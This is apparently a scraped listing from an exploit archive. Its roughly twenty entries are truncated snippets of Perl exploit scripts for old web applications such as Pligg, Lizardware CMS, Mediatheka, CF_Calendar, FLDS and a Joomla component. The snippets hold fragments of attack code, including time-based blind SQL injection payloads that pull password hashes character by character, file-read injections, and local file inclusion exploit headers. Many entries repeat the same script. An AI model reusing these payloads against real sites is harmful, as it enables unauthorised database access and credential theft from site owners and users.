Pligg 9.9.5b - Arbitrary File Upload / SQL Injection

!/usr/bin/perl =about Pligg 9.9.5 Beta Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Vulnerability hides in 'evb/checkurl.php' unfiltered $GET'url' parameter. Actually, it has filtration. Filtration strips tags and converts html special chars , but ...

RSS Simple News - SQL Injection

!/usr/bin/perl Coded by Piker pikerdotther00tatgmaildotcom D.O.M Team piker,ka0x,an0de,xarnuz 2008 Security Researchers RSS Simple News Remote SQL Injection Exploit http://sourceforge.net/projects/rss-simple-news/ This exploit tries to read an arbitrary file. It needs magicquotesgpc=off...

Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Lizardware CMS = 0.6.0 Blind SQL Injection Exploit by athos - stakerathotmaildotit http://sourceforge.net/projects/lizardwarecms/ use strict; use LWP::UserAgent; my $stop,$start,$hash; my $domain = shift; my $ptable = shift; my $userid = shift ...

Lizardware CMS 0.6.0 - Blind SQL Injection

Lizardware CMS 0.6.0 - Blind SQL Injection !/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers...

FLDS 1.2a - 'report.php' SQL Injection

!/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQL Injection Exploit written by ka0x D.O.M Labs Security Researchers - www.domlabs.org - Vuln code report.php: if$COOKIE'logged'=="" ... // login else $linkida = $GET'linkid'; $linkinfo = mysqlfetcharraymysqlquery"select from links where...

FLDS 1.2a report.php (linkida) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =========================================================== FLDS 1.2a report.php linkida Remote SQL Injection Exploit =========================================================== !/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQ...

FLDS 1.2a SQL Injection

!/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQL Injection Exploit written by ka0x D.O.M Labs Security Researchers - www.domlabs.org - Vuln code report.php: if$COOKIE'logged'=="" ... // login else $linkida = $GET'linkid'; $linkinfo = mysqlfetcharraymysqlquery"select from links where...

Mediatheka 4.2 - Blind SQL Injection

Mediatheka 4.2 - Blind SQL Injection !/usr/bin/perl -w Mediatheka post$host, user = $param, password = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "password,$uidz,1=$charz,". "benchmark200000000,char0,". "0 from users where id=$userid";...

Mediatheka 4.2 Blind SQL Injection

!/usr/bin/perl -w Mediatheka post$host, user = $param, password = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "password,$uidz,1=$charz,". "benchmark200000000,char0,". "0 from users where id=$userid"; return $send; for1..32 foreach my...

Mediatheka 4.2 - Blind SQL Injection

!/usr/bin/perl -w Mediatheka post$host, user = $param, password = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "password,$uidz,1=$charz,". "benchmark200000000,char0,". "0 from users where id=$userid"; return $send; for1..32 foreach my...

CF_Calendar - calendarevent.cfm SQL Injection

CFCalendar - calendarevent.cfm SQL Injection !/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print "\n \n"; print " CFCalendar Remote SQL Injection Exploit \n"; print " By AlpHaNiX \n"; print " \n"; print " \n"; print " usage : perl exploit.pl target \n"; print " contact : AlpHaATHACKERDOTB...

CF_Calendar (calendarevent.cfm) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print "\n \n"; print " CFCalendar Remote SQL Injection Exploit \n"; print " By AlpHaNiX \n"; print " \n"; print " \n"; print " usage : perl exploit.pl target \n"; print " contact : AlpHaATHACKERDOTBZ \n"; pri...

CF_Calendar (calendarevent.cfm) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ CFCalendar calendarevent.cfm Remote SQL Injection Exploit ============================================================ !/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print...

CF_Calendar - 'calendarevent.cfm' SQL Injection

!/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print "\n \n"; print " CFCalendar Remote SQL Injection Exploit \n"; print " By AlpHaNiX \n"; print " \n"; print " \n"; print " usage : perl exploit.pl target \n"; print " contact : AlpHaATHACKERDOTBZ \n"; print " \n"; $alpha1 =...

joomlajmovies-sql.txt

!/usr/bin/perl -w ----------------------------------------------------------- Joomla Component comjmovies 1.1 id SQL Injection Exploit by s3rg3770 with athos : demo http://www.disneyrama.com ----------------------------------------------------------- Note: In lulz we trust :O...

Check New 4.52 (findoffice.php search) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w ===================================================================== Check New 4.52 findoffice.php search Remote SQL Injection Exploit =====================================================================...

Check New 4.52 - SQL Injection

Check New 4.52 - SQL Injection !/usr/bin/perl -w ===================================================================== Check New 4.52 findoffice.php search Remote SQL Injection Exploit ===================================================================== ,--^----------,--------,-----,-------^--, ...

Joomla! Component JMovies 1.1 - id SQL Injection

Joomla! Component JMovies 1.1 - id SQL Injection !/usr/bin/perl -w ----------------------------------------------------------- Joomla Component comjmovies 1.1 id SQL Injection Exploit by s3rg3770 with athos : demo http://www.disneyrama.com ---------------------------------------------------------...

bcoos 1.0.13 (viewcat.php cid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =========================================================== bcoos 1.0.13 viewcat.php cid Remote SQL Injection Exploit =========================================================== !/usr/bin/perl -w ===========================================...

ktpccd-lfi.txt

!/usr/bin/perl -w ====================================== KTPCCD Local File Inclusion Exploit ====================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team .. +---------------------------^----------| ,-------, | / XXXXXX...